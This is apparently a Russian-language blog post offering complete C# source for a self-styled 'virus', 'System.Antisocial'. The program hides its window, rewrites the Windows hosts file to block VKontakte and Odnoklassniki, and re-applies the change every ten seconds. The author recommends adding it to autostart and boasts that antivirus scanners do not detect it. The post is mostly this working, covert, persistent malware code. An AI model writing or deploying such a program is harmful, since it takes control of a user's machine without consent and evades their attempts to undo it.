Осторожно! Вирус на C#. System.Antisocial.

      После того как социальные сети очень плотно вошли в нашу жизнь, многие люди стали там проводить практически всё своё свободное, а иногда и рабочее время. Особенно это касается подростков, хотя есть исключения в любом возрасте.
      Бессонные ночи, пропущенные уроки, отсутствие какой-либо самодеятельности и т.п. Было принято решение как-то бороться с этой социальной зависимостью. Для этого, собственно говоря, и был написан этот простенький вирус. Достаточно добавить его в автозагрузку и вуаля - cайты социальных сетей больше не доступны!
 Принцип его работы очень прост:

      Проверяется наличие файла hosts (C:\WINDOWS\system32\drivers\etc\hosts). Если такой файл существует (а как правило он существует), то в него дописываются несколько строк, перенаправляющих пользователей с vkontakte.ru, vk.com, и odnoklassniki.ru на localhost. Наличие файла и переадресации в нем проверяется по таймеру - каждые 10 секунд, поэтому его удаление или редактирование через 10 секунд приведет к тому же самому результату (простая защита от "продвинутых" юзеров).

      Проект имеет всего лишь одну форму и таймер. Форма в процессе загрузки скрывается от глаз пользователя, поэтому если нужно прекратить действие программы - достаточно зарубить процесс в диспетчере задач и отредактировать файл hosts до прежнего состояния...

      На virustotal ни один антивирус не определяет текущий файл как вирус. В процессе работы срабатывание эвристики было замечено только у MS EssentialSecurity.
Ну и, собственно говоря, само тело вируса:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;

namespace systems
{
    public partial class Form1 : Form
    {
        WorkWithHosts file = new WorkWithHosts();

        public Form1()
        {
            InitializeComponent();
            // Запускаем таймер
            timer1.Interval = 10000;
            timer1.Enabled = true;
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            // Скрываем форму
            ShowInTaskbar = false;
            this.Visible = false;
            this.ShowIcon = false;
        }

        public void Start()
        {
            // проверяем наличие файла hosts
            // и строк переадресации
            if(!file.FileIsEnable())
            {
                file.CreateTheFile();
            }
           
            if(!file.FileContainUrl())
            {
                file.AddUrls();
            }
        }

        private void timer1_Tick(object sender, EventArgs e)
        {
            // Запуск программы
            Start();
        }
    }

    // Работаем с файлом hosts
    class WorkWithHosts
    {
        // получаем информацию о текущем файле
        FileInfo fileHosts = new FileInfo("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");

        // проверяем наличие файла
        public bool FileIsEnable()
        {
            if (fileHosts.Exists == false)
            {
                return false;
            }
            return true;
        }

        // создаем файл:
        public void CreateTheFile()
        {
            StreamWriter fileOrigin;
            string originInfo = "127.0.0.1       localhost";

            fileOrigin = File.CreateText("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");
            fileOrigin.WriteLine(originInfo);
            fileOrigin.Close();

            SetFileAttributes();
        }

        // устанавливаем аттрибуты файла (скрываем и разрешаем запись)
        private void SetFileAttributes()
        {
            fileHosts.Attributes = FileAttributes.ReadOnly | FileAttributes.Hidden;
            fileHosts.Attributes = fileHosts.Attributes & ~FileAttributes.ReadOnly;
        }

        // читаем содержимое файла
        private string[] ReadFile()
        {
            try
            {
                string[] hostsData = File.ReadAllLines(@"C:\WINDOWS\system32\drivers\etc\hosts");
                return hostsData;
            }
            catch
            {
                return null;
            }           
        }

        // проверяем наличие строк переадресации
        public bool FileContainUrl()
        {
            string[] hostsData = ReadFile();
            if (hostsData != null)
            {
                foreach (string url in hostsData)
                {
                    if (url.IndexOf("vkontakte.ru") != -1)
                    {
                        return true;
                    }
                }
            }
            else
            {
                CreateTheFile();
            }
            return false;
        }

        // Добавляем строки:
        public void AddUrls()
        {
            try
            {
                StreamWriter file = new StreamWriter("C:\\WINDOWS\\system32\\drivers\\etc\\hosts", true);
                file.WriteLine();
                file.WriteLine("127.0.0.1       vk.com");
                file.WriteLine("127.0.0.1       vkontakte.ru");
                file.WriteLine("127.0.0.1       odnoklassniki.ru");
                file.Close();
            }
            catch
            {
                // Исключение предусмотрено на тот случай
                // если файл используется другим процессом
                Application.DoEvents();
            }
        }
    }
}

3 комментария:

Большая просьба, не писать в комментариях всякую ерунду не по теме!